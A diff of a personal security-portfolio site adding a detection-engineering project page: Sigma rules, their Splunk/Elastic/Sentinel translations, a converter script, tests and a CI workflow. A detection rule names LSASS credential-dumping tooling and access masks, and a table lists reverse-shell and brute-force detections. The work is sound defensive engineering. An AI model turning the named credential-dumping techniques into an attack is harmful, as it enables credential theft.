| + | .flag h3{font-size:27px;margin:0 0 6px;letter-spacing:-.4px;} | |
| + | .flag h3 .v{font-size:13px;color:var(--muted);font-weight:500;margin-left:8px;letter-spacing:0;} | |
| + | .flag .grid{display:grid;grid-template-columns:1.25fr 1fr;gap:30px;padding:14px 32px 30px;} | |
| + | .flag p{color:var(--soft);margin:0 0 16px;} | |
| + | .flag .stats{display:grid;grid-template-columns:1fr 1fr;gap:12px;margin-top:6px;} | |
| + | .stat{background:var(--bg);border:1px solid var(--line);border-radius:9px;padding:13px 15px;} | |
| + | .stat .n{font-size:21px;font-weight:680;color:var(--ink);} | |
| + | .stat .k{font-size:12px;color:var(--muted);margin-top:2px;} | |
| + | .spec{background:var(--bg);border:1px solid var(--line);border-radius:10px;padding:18px 18px;} | |
| + | .spec .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:10px;} | |
| + | .spec ul{margin:0;padding:0;list-style:none;font-size:13.5px;} | |
| + | .spec li{padding:6px 0;border-top:1px solid var(--line);color:var(--soft);display:flex;justify-content:space-between;gap:14px;} | |
| + | .spec li:first-child{border-top:none;} | |
| + | .spec li span{color:var(--muted);} | |
| + | .flag .foot{padding:0 32px 28px;display:flex;gap:18px;flex-wrap:wrap;font-size:14px;} | |
| + | @media(max-width:720px){.flag .grid{grid-template-columns:1fr;}} | |
| + | ||
| + | /* lab cards */ | |
| + | .cards{display:grid;grid-template-columns:1fr 1fr;gap:20px;} | |
| + | @media(max-width:680px){.cards{grid-template-columns:1fr;}} | |
| + | .card{border:1px solid var(--line);border-radius:12px;overflow:hidden;background:var(--panel); | |
| + | display:flex;flex-direction:column;transition:border-color .15s,transform .15s;} | |
| + | .card:hover{border-color:var(--accent-dim);transform:translateY(-2px);} | |
| + | .card .thumb{height:172px;overflow:hidden;border-bottom:1px solid var(--line);background:#fff;} | |
| + | .card .thumb img{width:100%;height:100%;object-fit:cover;object-position:top left;display:block;} | |
| + | .card .body{padding:18px 20px 20px;display:flex;flex-direction:column;flex:1;} | |
| + | .card h3{margin:0 0 9px;font-size:17px;} | |
| + | .card p{margin:0 0 14px;font-size:14px;color:var(--soft);flex:1;} | |
| + | .tags{display:flex;flex-wrap:wrap;gap:6px;margin-bottom:14px;} | |
| + | .tags span{font-size:11.5px;color:var(--muted);background:var(--bg);border:1px solid var(--line); | |
| + | border-radius:5px;padding:3px 8px;} | |
| + | .card .lnk{font-size:13.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .card .lnk::after{content:" →";} | |
| + | ||
| + | /* research */ | |
| + | .rlede{color:var(--soft);max-width:680px;margin:-6px 0 26px;} | |
| + | .research{display:flex;flex-direction:column;gap:0;border:1px solid var(--line);border-radius:12px;overflow:hidden;} | |
| + | .ritem{display:grid;grid-template-columns:120px 1fr auto;gap:18px;align-items:center; | |
| + | padding:18px 22px;border-top:1px solid var(--line);} | |
| + | .ritem:first-child{border-top:none;} | |
| + | .ritem:hover{background:var(--panel);} | |
| + | .ritem .cls{font-size:11px;letter-spacing:.5px;text-transform:uppercase;color:var(--accent);} | |
| + | .ritem h3{margin:0 0 3px;font-size:16px;} | |
| + | .ritem p{margin:0;font-size:13.5px;color:var(--muted);} | |
| + | .ritem .go{font-family:ui-monospace,Menlo,monospace;font-size:13px;white-space:nowrap;} | |
| + | @media(max-width:680px){.ritem{grid-template-columns:1fr;gap:6px;}.ritem .go{margin-top:4px;}} | |
| + | .progs{margin-top:22px;} | |
| + | .progs .sk{font-size:11px;letter-spacing:1.5px;text-transform:uppercase;color:var(--faint);margin-bottom:11px;} | |
| + | .progs .row{display:flex;flex-wrap:wrap;gap:7px;} | |
| + | .progs .row span{font-size:12.5px;color:var(--soft);background:var(--panel);border:1px solid var(--line); | |
| + | border-radius:6px;padding:4px 10px;} | |
| + | ||
| + | /* credentials */ | |
| + | .cred{display:grid;grid-template-columns:1.1fr 1fr;gap:28px;} | |
| + | @media(max-width:680px){.cred{grid-template-columns:1fr;}} | |
| + | .cred p{color:var(--soft);margin:0 0 14px;} | |
| + | .cred .role{font-size:14px;color:var(--muted);} | |
| + | .cred .role b{color:var(--ink);font-weight:600;} | |
| + | .certs{list-style:none;margin:0;padding:0;} | |
| + | .certs li{padding:9px 0;border-top:1px solid var(--line);font-size:14px;color:var(--soft); | |
| + | display:flex;gap:10px;align-items:baseline;} | |
| + | .certs li:first-child{border-top:none;} | |
| + | .certs li .c{color:var(--accent);font-family:ui-monospace,Menlo,monospace;font-size:12px;} | |
| + | ||
| + | footer{padding:46px 0 64px;} | |
| + | footer .row{display:flex;flex-wrap:wrap;justify-content:space-between;gap:18px;align-items:center;} | |
| + | footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | |
| + | footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | |
| + | ||
| + | /* detail pages */ | |
| + | .detail-hero{padding:40px 0 28px;} | |
| + | .back{display:inline-block;font-size:13px;color:var(--muted);margin-bottom:22px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .back:hover{color:var(--ink);} | |
| + | .kicker{font-size:12px;letter-spacing:2px;text-transform:uppercase;color:var(--accent);margin-bottom:13px;font-family:ui-monospace,Menlo,monospace;} | |
| + | .detail-hero h1{font-size:clamp(28px,5vw,42px);margin:0 0 12px;letter-spacing:-.6px;} | |
| + | .detail-hero .tagline{font-size:clamp(16px,2.2vw,19px);color:var(--soft);max-width:780px;margin:0 0 18px;} | |
| + | .facts{display:grid;grid-template-columns:repeat(auto-fit,minmax(148px,1fr));gap:12px;margin-top:24px;} | |
| + | figure{margin:0;} | |
| + | .shot{border:1px solid var(--line2);border-radius:12px;overflow:hidden;background:#fff;margin:30px 0 6px;} | |
| + | .shot img,.shot video{display:block;width:100%;height:auto;} | |
| + | figcaption{font-size:13px;color:var(--muted);margin:11px 2px 0;} | |
| + | .content{padding:6px 0 0;} | |
| + | .content h2{font-size:13px;letter-spacing:2px;text-transform:uppercase;color:var(--muted);margin:44px 0 16px;font-weight:600;border-top:1px solid var(--line);padding-top:30px;} | |
| + | .content h2.first{border-top:none;padding-top:6px;margin-top:18px;} | |
| + | .content p{color:var(--soft);margin:0 0 16px;} | |
| + | .content ul,.content ol{color:var(--soft);margin:0 0 16px;padding-left:22px;} | |
| + | .content li{margin:6px 0;} | |
| + | .content strong{color:var(--ink);font-weight:600;} | |
| + | .content code{font-family:ui-monospace,Menlo,monospace;font-size:13px;background:var(--panel2);border:1px solid var(--line);border-radius:4px;padding:1px 5px;color:var(--soft);} | |
| + | .content pre{background:var(--bg2);border:1px solid var(--line2);border-radius:10px;padding:15px 18px;overflow-x:auto;margin:0 0 18px;} | |
| + | .content pre code{background:none;border:none;padding:0;font-size:12.5px;color:var(--soft);line-height:1.62;} | |
| + | .content table{width:100%;border-collapse:collapse;margin:2px 0 20px;font-size:13.5px;} | |
| + | .content th{text-align:left;color:var(--muted);font-weight:600;border-bottom:1px solid var(--line2);padding:9px 12px;font-size:11px;letter-spacing:.6px;text-transform:uppercase;} | |
| + | .content td{color:var(--soft);border-bottom:1px solid var(--line);padding:9px 12px;vertical-align:top;} | |
| + | .content td code{font-size:12px;} | |
| + | .gallery{margin-top:8px;} | |
| + | .repo-line{margin:42px 0 0;color:var(--faint);font-size:12.5px;font-family:ui-monospace,Menlo,monospace;} | |
| + | </style> | |
| + | <!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/detection-as-code/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="article"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Detection-as-Code | Zion Boggan"> | |
| + | <meta property="og:description" content="Sigma rules mapped to MITRE ATT&amp;CK, linted and tested in CI, and compiled to Splunk, Elastic, and Microsoft Sentinel KQL: one rule, every SIEM."> | |
| + | <meta property="og:url" content="https://zionboggan.com/detection-as-code/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/detection-as-code/01-multi-siem-conversion.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Detection-as-Code | Zion Boggan"> | |
| + | <meta name="twitter:description" content="Sigma rules mapped to MITRE ATT&amp;CK, linted and tested in CI, and compiled to Splunk, Elastic, and Microsoft Sentinel KQL: one rule, every SIEM."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/detection-as-code/01-multi-siem-conversion.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"TechArticle","headline":"Detection-as-Code","description":"Sigma rules mapped to MITRE ATT&amp;CK, linted and tested in CI, and compiled to Splunk, Elastic, and Microsoft Sentinel KQL: one rule, every SIEM.","url":"https://zionboggan.com/detection-as-code/","image":"https://zionboggan.com/assets/detection-as-code/01-multi-siem-conversion.png","author":{"@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com"},"publisher":{"@type":"Person","name":"Zion Boggan"}}</script> | |
| + | <!--/SEO--> | |
| + | </head> | |
| + | <body> | |
| + | <nav><div class="wrap"> | |
| + | <a class="brand mono" href="/" style="color:var(--ink)">zion_boggan<span class="dot">.</span></a> | |
| + | <span class="links"> | |
| + | <a href="/#oversight">Oversight</a> | |
| + | <a href="/#labs">Labs</a> | |
| + | <a href="/#research">Research</a> | |
| + | <a href="/#background">Background</a> | |
| + | <a href="/">Home</a> | |
| + | </span> | |
| + | </div></nav> | |
| + | <header class="hero detail-hero"><div class="wrap"> | |
| + | <a class="back" href="/#labs">← All work</a> | |
| + | <div class="kicker">DETECTION ENGINEERING</div> | |
| + | <h1>Detection-as-Code</h1> | |
| + | <p class="tagline">Sigma rules mapped to MITRE ATT&CK, linted and tested in CI, and compiled to Splunk, Elastic, and Microsoft Sentinel KQL: one rule, every SIEM.</p> | |
| + | <div class="tags"><span>Sigma</span><span>Splunk SPL</span><span>Sentinel KQL</span><span>Elastic ES|QL</span><span>MITRE ATT&CK</span><span>Sysmon</span><span>GitHub Actions</span><span>pytest</span></div> | |
| + | <div class="facts"><div class="stat"><div class="n">10</div><div class="k">Sigma rules</div></div><div class="stat"><div class="n">3</div><div class="k">SIEM targets</div></div><div class="stat"><div class="n">9</div><div class="k">ATT&CK techniques</div></div><div class="stat"><div class="n">5</div><div class="k">ATT&CK tactics</div></div><div class="stat"><div class="n">27</div><div class="k">compiled queries</div></div></div> | |
| + | <div class="cta" style="margin-top:24px"></div> | |
| + | </div></header> | |
| + | <section><div class="wrap"> | |
| + | <figure class="shot"><img loading="lazy" src="/assets/detection-as-code/01-multi-siem-conversion.png" alt="One Sigma rule compiled to Splunk SPL, Elastic ES|QL, and Microsoft Sentinel KQL side by side."></figure><figcaption>One Sigma rule compiled to Splunk SPL, Elastic ES|QL, and Microsoft Sentinel KQL side by side.</figcaption> | |
| + | <div class="content"> | |
| + | <h2>Repository layout</h2> | |
| + | <p>Rules live as Sigma YAML under <code>rules/</code>, split by platform and ATT&CK tactic. One compiler walks the tree and emits a query per backend into <code>dist/{splunk,esql,kusto}/</code>, mirroring the source layout. Tests, the CI workflow, and a Makefile of one-liners sit alongside.</p><pre><code>rules/ | |
| + | windows/ credential-access, execution, persistence, defense-evasion, initial-access | |
| + | linux/ credential-access, execution, persistence | |
| + | tools/convert.py compile every rule to Splunk / Elastic / Sentinel | |
| + | tests/test_rules.py schema, ATT&CK tagging, unique IDs, correlation references | |
| + | .github/workflows/ lint -> test -> convert on every push | |
| + | dist/ generated queries (CI artifact; gitignored)</code></pre><p>The pinned toolchain is small and exact: <code>sigma-cli==3.0.2</code> with the Splunk, Elasticsearch, and Kusto backends, plus the Sysmon and Windows processing pipelines. Both the linter and the converter run from that single requirements set.</p><pre><code>sigma-cli==3.0.2 | |
| + | pysigma-backend-splunk==2.1.0 | |
| + | pysigma-backend-elasticsearch==2.0.3 | |
| + | pysigma-backend-kusto==1.0.1 | |
| + | pysigma-pipeline-sysmon==2.0.0 | |
| + | pysigma-pipeline-windows==2.0.0 | |
| + | pytest==8.3.3 | |
| + | PyYAML==6.0.3</code></pre> | |
| + | <h2>A rule in full</h2> | |
| + | <p>Rules are not naive. The LSASS detection filters on the granted-access masks that Mimikatz, comsvcs MiniDump, and similar tooling actually request rather than the broad <code>0x1010</code> alone, and excludes known legitimate readers. Source, verbatim:</p><pre><code>title: Suspicious LSASS Process Access | |
| + | id: dcfda42d-c1a7-4106-aa96-7912201d9221 | |
| + | status: experimental | |
| + | description: > | |
| + | Detects process access to lsass.exe with access rights commonly used to read | |
| + | process memory (credential dumping). Tuned to the granted-access masks seen with | |
| + | Mimikatz, comsvcs MiniDump, and similar tooling rather than the broad 0x1010 alone. | |
| + | references: | |
| + | - https://attack.mitre.org/techniques/T1003/001/ | |
| + | - https://github.com/SwiftOnSecurity/sysmon-config | |
| + | author: Zion Boggan | |
| + | date: 2026-05-12 | |
| + | tags: | |
| + | - attack.credential_access | |
| + | - attack.t1003.001 | |
| + | logsource: | |
| + | product: windows | |
| + | category: process_access | |
| + | detection: | |
| + | selection: | |
| + | TargetImage|endswith: '\lsass.exe' | |
| + | GrantedAccess: | |
| + | - '0x1010' | |
| + | - '0x1410' | |
| + | - '0x143a' | |
| + | - '0x1438' | |
| + | - '0x1fffff' | |
| + | filter_known: | |
| + | SourceImage|endswith: | |
| + | - '\wininit.exe' | |
| + | - '\csrss.exe' | |
| + | - '\MsMpEng.exe' | |
| + | - '\wmiprvse.exe' | |
| + | condition: selection and not filter_known | |
| + | falsepositives: | |
| + | - EDR and AV products legitimately reading LSASS; baseline and add to filter_known. | |
| + | level: high</code></pre> | |
| + | <h2>The compiler and pipeline selection</h2> | |
| + | <p><code>tools/convert.py</code> walks every <code>.yml</code> under <code>rules/</code> and shells out to <code>sigma convert</code> once per backend. The right processing pipeline is chosen from each rule's <code>logsource</code>: Sysmon for process, file, image-load, and network categories; Windows-audit for the Security and System channels (service installs, scheduled tasks). Rules with no matching pipeline are converted with <code>--without-pipeline</code> so generic logic still compiles.</p><pre><code>CATEGORY_PIPELINE = { | |
| + | "process_creation": "sysmon", | |
| + | "process_access": "sysmon", | |
| + | "image_load": "sysmon", | |
| + | "file_event": "sysmon", | |
| + | "network_connection": "sysmon", | |
| + | "dns_query": "sysmon", | |
| + | } | |
| + | SERVICE_PIPELINE = { | |
| + | "security": "windows-audit", | |
| + | "system": "windows-audit", | |
| + | } | |
| + | ||
| + | ||
| + | def pipeline_for(rule: dict) -> str | None: | |
| + | ls = rule.get("logsource", {}) | |
| + | if ls.get("product") == "windows": | |
| + | if ls.get("category") in CATEGORY_PIPELINE: | |
| + | return CATEGORY_PIPELINE[ls["category"]] | |
| + | if ls.get("service") in SERVICE_PIPELINE: | |
| + | return SERVICE_PIPELINE[ls["service"]] | |
| + | return None</code></pre><p>Each rule then runs through <code>sigma convert -t <backend> -s</code>, with <code>-p <pipeline></code> appended when one matched. A non-zero exit surfaces the last stderr line as the skip reason, so a broken rule is loud rather than silent.</p> | |
| + | <h2>All three backends</h2> | |
| + | <p>The LSASS source above compiles to each target without the logic being re-derived. The same selection plus the same exclusion list, expressed in three dialects. Splunk SPL:</p><pre><code>EventID=10 TargetImage="*\\lsass.exe" GrantedAccess IN ("0x1010", "0x1410", "0x143a", "0x1438", "0x1fffff") NOT (SourceImage IN ("*\\wininit.exe", "*\\csrss.exe", "*\\MsMpEng.exe", "*\\wmiprvse.exe"))</code></pre><p>Elastic ES|QL:</p><pre><code>from * metadata _id, _index, _version | where EventID==10 and ends_with(TargetImage, "\\lsass.exe") and (GrantedAccess in ("0x1010", "0x1410", "0x143a", "0x1438", "0x1fffff")) and not (ends_with(SourceImage, "\\wininit.exe") or ends_with(SourceImage, "\\csrss.exe") or ends_with(SourceImage, "\\MsMpEng.exe") or ends_with(SourceImage, "\\wmiprvse.exe"))</code></pre><p>Microsoft Sentinel / Defender KQL:</p><pre><code>EventID == 10 and ((TargetImage endswith "\\lsass.exe" and (GrantedAccess in~ ("0x1010", "0x1410", "0x143a", "0x1438", "0x1fffff"))) and (not((SourceImage endswith "\\wininit.exe" or SourceImage endswith "\\csrss.exe" or SourceImage endswith "\\MsMpEng.exe" or SourceImage endswith "\\wmiprvse.exe"))))</code></pre> | |
| + | <h2>Correlation rules</h2> | |
| + | <p>Single events are often informational; the alert is in the aggregate. SSH brute force is modelled as a Sigma correlation over a per-event base rule. The base rule is tagged <code>informational</code> and matches one failed authentication:</p><pre><code>title: SSH Authentication Failure | |
| + | name: ssh_auth_failure | |
| + | id: cc6fd1c9-b264-4be8-bb53-b6f4e2af9776 | |
| + | status: experimental | |
| + | description: Base detection for a single failed SSH authentication, used by the brute-force correlation. | |
| + | logsource: | |
| + | product: linux | |
| + | service: sshd | |
| + | detection: | |
| + | selection: | |
| + | - Message|contains: 'Failed password for' | |
| + | - Message|contains: 'Invalid user' | |
| + | - Message|startswith: 'Connection closed by authenticating user' | |
| + | condition: selection | |
| + | level: informational</code></pre><p>The correlation rule references that base by <code>name</code> and fires on eight or more failures from one source IP inside a two-minute window:</p><pre><code>correlation: | |
| + | type: event_count | |
| + | rules: | |
| + | - ssh_auth_failure | |
| + | group-by: | |
| + | - src_ip | |
| + | timespan: 2m | |
| + | condition: | |
| + | gte: 8</code></pre><p>Because a correlation needs its referenced rule present in the same collection, these are compiled together (<code>make correlations</code> converts the whole <code>linux/credential-access/</code> directory at once).</p> | |
| + | <h2>The test suite</h2> | |
| + | <p><code>pytest</code> gates rule quality before anything compiles. Schema, ATT&CK tagging, unique IDs, and correlation references are all enforced. The technique tag is matched against a regex and tactic tags against the full ATT&CK enterprise set:</p><pre><code>TECHNIQUE_RE = re.compile(r"^attack\.t\d{4}(\.\d{3})?$") | |
| + | ||
| + | ||
| + | @pytest.mark.parametrize("path", RULES, ids=[p.name for p in RULES]) | |
| + | def test_rule_schema(path): | |
| + | rule = load(path) | |
| + | for field in ("title", "id", "status", "description", "tags", "level"): | |
| + | assert rule.get(field), f"{path.name} missing {field}" | |
| + | assert "detection" in rule or "correlation" in rule, f"{path.name} has no detection/correlation" | |
| + | assert rule["level"] in {"informational", "low", "medium", "high", "critical"} | |
| + | assert rule["status"] in {"experimental", "test", "stable", "deprecated", "unsupported"} | |
| + | ||
| + | ||
| + | @pytest.mark.parametrize("path", RULES, ids=[p.name for p in RULES]) | |
| + | def test_attack_tags(path): | |
| + | tags = load(path).get("tags", []) | |
| + | techniques = [t for t in tags if TECHNIQUE_RE.match(t)] | |
| + | assert techniques, f"{path.name} has no ATT&CK technique tag"</code></pre><p>The correlation check loads every rule's <code>name</code> and asserts that each correlation's references resolve, so a renamed or deleted base rule fails the build instead of silently producing an empty alert:</p><pre><code>def test_correlation_refs_resolve(): | |
| + | names = {load(p).get("name") for p in RULES if load(p).get("name")} | |
| + | for path in RULES: | |
| + | corr = load(path).get("correlation") | |
| + | if corr: | |
| + | for ref in corr.get("rules", []): | |
| + | assert ref in names, f"{path.name} references unknown rule '{ref}'"</code></pre> | |
| + | <h2>CI workflow</h2> | |
| + | <p>Every push and pull request to <code>main</code> runs a single <code>validate</code> job that lints, tests, and compiles in order, then uploads the generated queries as an artifact. The trimmed workflow:</p><pre><code>jobs: | |
| + | validate: | |
| + | runs-on: ubuntu-latest | |
| + | steps: | |
| + | - uses: actions/checkout@v4 | |
| + | - uses: actions/setup-python@v5 | |
| + | with: | |
| + | python-version: "3.11" | |
| + | - run: pip install -r requirements.txt | |
| + | - name: Lint Sigma rules | |
| + | run: sigma check rules/ | |
| + | - name: Schema + ATT&CK tests | |
| + | run: pytest -q | |
| + | - name: Convert to Splunk / Elastic / Sentinel | |
| + | run: python tools/convert.py | |
| + | - uses: actions/upload-artifact@v4 | |
| + | with: | |
| + | name: converted-queries | |
| + | path: dist/</code></pre><p>A conversion error fails the job, so a rule that lints but does not compile to one of the three backends never merges. The <code>dist/</code> tree is gitignored and rebuilt from source on every run.</p> | |
| + | <h2>ATT&CK coverage and validation</h2> | |
| + | <p>A focused, high-signal set covering the techniques that show up most in real triage: credential dumping, phishing-to-execution, persistence, and brute force. Nine techniques across five tactics, every rule tagged and tuned past the naive version.</p><table><thead><tr><th>Tactic</th><th>Technique</th><th>Detection</th><th>Platform</th><th>Level</th></tr></thead><tbody><tr><td>Initial Access</td><td>T1566.001</td><td>Office spawns scripting host / LOLBin</td><td>Windows</td><td>high</td></tr><tr><td>Execution</td><td>T1059.001</td><td>PowerShell EncodedCommand</td><td>Windows</td><td>medium</td></tr><tr><td>Execution</td><td>T1059.004</td><td>Reverse shell one-liner</td><td>Linux</td><td>high</td></tr><tr><td>Defense Evasion</td><td>T1218.011</td><td>Suspicious rundll32</td><td>Windows</td><td>high</td></tr><tr><td>Persistence</td><td>T1543.003</td><td>New service installed (7045)</td><td>Windows</td><td>high</td></tr><tr><td>Persistence</td><td>T1053.005</td><td>Scheduled task created (4698)</td><td>Windows</td><td>medium</td></tr><tr><td>Persistence</td><td>T1543.002</td><td>Systemd persistence</td><td>Linux</td><td>medium</td></tr><tr><td>Credential Access</td><td>T1003.001</td><td>Suspicious LSASS access</td><td>Windows</td><td>high</td></tr><tr><td>Credential Access</td><td>T1110</td><td>SSH brute force (correlation)</td><td>Linux</td><td>high</td></tr></tbody></table><p>CI proves the rules lint, pass their tests, and compile. Behaviour is validated separately: in a companion purple-team lab, Atomic Red Team fires each technique and the matching detection is confirmed in a Wazuh SIEM before a rule is promoted here. New detections are only added after they survive that loop, which keeps the set small, high-signal, and grounded in observed telemetry rather than copied from public rule dumps.</p> | |
| + | </div> | |
| + | ||
| + | <p class="repo-line">Repository · github.com/zionboggan/detection-as-code</p> | |
| + | </div></section> | |
| + | <footer><div class="wrap row"> | |
| + | <div class="links"> | |
| + | <a href="/">Portfolio</a> | |
| + | <a href="https://www.linkedin.com/in/zion-boggan">LinkedIn</a> | |
| + | <a href="https://oversightprotocol.dev/">Oversight</a> | |
| + | <a href="mailto:zionboggan0@gmail.com">Email</a> | |
| + | </div> | |
| + | <div class="note">Built and deployed on a self-hosted Proxmox homelab. This page mirrors the | |
| + | project's documentation and results so the work is fully viewable here.</div> | |
| + | </div></footer> | |
| + | </body> | |
| + | </html> |
| @@ -3,8 +3,8 @@ | ||
| <head> | ||
| <meta charset="utf-8"> | ||
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||
| - | <title>Zion Boggan - Security Engineering & Research</title> | |
| - | <meta name="description" content="SOC analyst and independent security researcher. Detection engineering, vulnerability research, and applied cryptography - including Oversight Protocol, a post-quantum data-provenance system in Rust."> | |
| + | <title>Zion Boggan | Security Engineering, Detection Engineering, and Research</title> | |
| + | <meta name="description" content="SOC analyst and independent security researcher. Detection engineering, vulnerability research, and applied cryptography, including Oversight Protocol, a post-quantum data-provenance system in Rust."> | |
| <link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%230c0e12'/%3E%3Ctext x='16' y='22' font-family='monospace' font-size='15' fill='%236cc7b8' text-anchor='middle'%3Ezb%3C/text%3E%3C/svg%3E"> | ||
| <style> | ||
| :root{ | ||
| @@ -137,6 +137,22 @@ | ||
| footer .links a{color:var(--soft);margin-right:20px;font-size:14px;} | ||
| footer .note{color:var(--faint);font-size:12.5px;max-width:520px;} | ||
| </style> | ||
| + | <!--SEO--> | |
| + | <link rel="canonical" href="https://zionboggan.com/"> | |
| + | <meta name="author" content="Zion Boggan"> | |
| + | <meta name="robots" content="index, follow, max-image-preview:large"> | |
| + | <meta property="og:type" content="website"> | |
| + | <meta property="og:site_name" content="Zion Boggan"> | |
| + | <meta property="og:title" content="Zion Boggan | Security Engineering, Detection Engineering, and Research"> | |
| + | <meta property="og:description" content="SOC analyst and independent security researcher. Detection engineering, vulnerability research, and applied cryptography, including Oversight Protocol, a post-quantum data-provenance system in Rust."> | |
| + | <meta property="og:url" content="https://zionboggan.com/"> | |
| + | <meta property="og:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <meta name="twitter:card" content="summary_large_image"> | |
| + | <meta name="twitter:title" content="Zion Boggan | Security Engineering, Detection Engineering, and Research"> | |
| + | <meta name="twitter:description" content="SOC analyst and independent security researcher. Detection engineering, vulnerability research, and applied cryptography, including Oversight Protocol, a post-quantum data-provenance system in Rust."> | |
| + | <meta name="twitter:image" content="https://zionboggan.com/assets/og-default.png"> | |
| + | <script type="application/ld+json">{"@context":"https://schema.org","@type":"Person","name":"Zion Boggan","url":"https://zionboggan.com","jobTitle":"Security Engineer / SOC Analyst / Security Researcher","email":"mailto:zionboggan0@gmail.com","sameAs":["https://www.linkedin.com/in/zion-boggan","https://oversightprotocol.dev"],"knowsAbout":["Detection Engineering","Security Operations","SIEM","MITRE ATT&CK","Vulnerability Research","Applied Cryptography","Sigma","Wazuh","Microsoft Sentinel","Splunk","Threat Intelligence"]}</script> | |
| + | <!--/SEO--> | |
| </head> | ||
| <body> | ||
| @@ -159,7 +175,7 @@ | ||
| networks, research vulnerabilities in the lab, and build systems that close the gaps I | ||
| find. This is the work I can show: <b>detection | ||
| pipelines and labs</b> that run end to end, <b>vulnerability research</b> across | ||
| - | cryptographic and database internals, and <b>Oversight Protocol</b> - a post-quantum | |
| + | cryptographic and database internals, and <b>Oversight Protocol</b>, a post-quantum | |
| data-provenance system I maintain in Rust. Almost all of it runs on my own homelab.</p> | ||
| <div class="cta"> | ||
| <a class="btn primary" href="#oversight">See the work</a> | ||
| @@ -168,7 +184,7 @@ | ||
| <a class="btn" href="https://oversightprotocol.dev/">oversightprotocol.dev</a> | ||
| </div> | ||
| <div class="meta mono"> | ||
| - | <span>Memphis, TN</span><span>zionboggan@gmail.com</span> | |
| + | <span>zionboggan0@gmail.com</span> | |
| <span>Security+ · SC-200 · AZ-104</span><span>Bugcrowd · HackerOne</span> | ||
| </div> | ||
| </div></header> | ||
| @@ -185,7 +201,7 @@ | ||
| <p>A cryptographic data-provenance system: a verifiable, tamper-evident record of | ||
| where data came from and what happened to it, designed to hold up against a future | ||
| with quantum computers. I'm the lead maintainer and primary contributor.</p> | ||
| - | <p>The hard part is correctness across two languages - the Rust implementation and | |
| + | <p>The hard part is correctness across two languages, the Rust implementation and | |
| the Python reference are built to produce <b>bit-identical</b> output, enforced by a | ||
| shared conformance suite. It pairs classical and post-quantum primitives so signatures | ||
| and key exchange stay sound even if one side breaks.</p> | ||
| @@ -222,19 +238,19 @@ | ||
| <div class="shead"><span class="idx mono">02</span><h2>Security Labs</h2><span class="rule"></span></div> | ||
| <div class="cards"> | ||
| - | <a class="card" href="https://github.com/zionboggan/detection-as-code"> | |
| + | <a class="card" href="/detection-as-code/"> | |
| <div class="thumb"><img loading="lazy" src="assets/detection.png" alt="One Sigma rule compiled to Splunk, Sentinel KQL and Elastic ES|QL"></div> | ||
| <div class="body"> | ||
| <h3>Detection-as-Code</h3> | ||
| <p>Sigma rules mapped to MITRE ATT&CK, linted and tested in CI, and compiled to | ||
| - | Splunk, Elastic, and Microsoft Sentinel KQL - one rule, every SIEM. Detection | |
| + | Splunk, Elastic, and Microsoft Sentinel KQL, one rule, every SIEM. Detection | |
| engineering done as a pipeline, not a console click.</p> | ||
| <div class="tags"><span>Sigma</span><span>Splunk</span><span>Sentinel KQL</span><span>Elastic</span></div> | ||
| <span class="lnk mono">detection-as-code</span> | ||
| </div> | ||
| </a> | ||
| - | <a class="card" href="https://github.com/zionboggan/purple-team-lab"> | |
| + | <a class="card" href="/purple-team-lab/"> | |
| <div class="thumb"><img loading="lazy" src="assets/purple.png" alt="Emulated ATT&CK techniques detected in Wazuh"></div> | ||
| <div class="body"> | ||
| <h3>Purple-Team Lab</h3> | ||
| @@ -246,7 +262,7 @@ | ||
| </div> | ||
| </a> | ||
| - | <a class="card" href="https://github.com/zionboggan/soc-automation-lab"> | |
| + | <a class="card" href="/soc-automation-lab/"> | |
| <div class="thumb"><img loading="lazy" src="assets/soc.png" alt="Wazuh Threat Hunting dashboard with MITRE ATT&CK mapping"></div> | ||
| <div class="body"> | ||
| <h3>SOC Automation Lab</h3> | ||
| @@ -258,19 +274,19 @@ | ||
| </div> | ||
| </a> | ||
| - | <a class="card" href="https://github.com/zionboggan/secure-cicd-pipeline"> | |
| + | <a class="card" href="/secure-cicd-pipeline/"> | |
| <div class="thumb"><img loading="lazy" src="assets/cicd.png" alt="Custom Semgrep rules failing the SAST gate"></div> | ||
| <div class="body"> | ||
| <h3>Secure CI/CD Pipeline</h3> | ||
| - | <p>A GitHub Actions pipeline that gates every merge on four checks - SAST, secret | |
| - | scanning, dependency audit, tests - with custom Semgrep rules and findings routed | |
| + | <p>A GitHub Actions pipeline that gates every merge on four checks, SAST, secret | |
| + | scanning, dependency audit, tests, with custom Semgrep rules and findings routed | |
| back to the SOC.</p> | ||
| <div class="tags"><span>GitHub Actions</span><span>Semgrep</span><span>gitleaks</span><span>pip-audit</span></div> | ||
| <span class="lnk mono">secure-cicd-pipeline</span> | ||
| </div> | ||
| </a> | ||
| - | <a class="card" href="https://github.com/zionboggan/cicd-supply-chain-security"> | |
| + | <a class="card" href="/cicd-supply-chain-security/"> | |
| <div class="thumb"><img loading="lazy" src="assets/supply-chain.png" alt="Cosign signing and tamper detection"></div> | ||
| <div class="body"> | ||
| <h3>CI/CD Supply-Chain Security</h3> | ||
| @@ -281,12 +297,12 @@ | ||
| </div> | ||
| </a> | ||
| - | <a class="card" href="https://github.com/zionboggan/cti-detection-automation"> | |
| + | <a class="card" href="/cti-detection-automation/"> | |
| <div class="thumb"><img loading="lazy" src="assets/cti.png" alt="CTI rule-approval email with MITRE techniques"></div> | ||
| <div class="body"> | ||
| <h3>CTI Detection Automation</h3> | ||
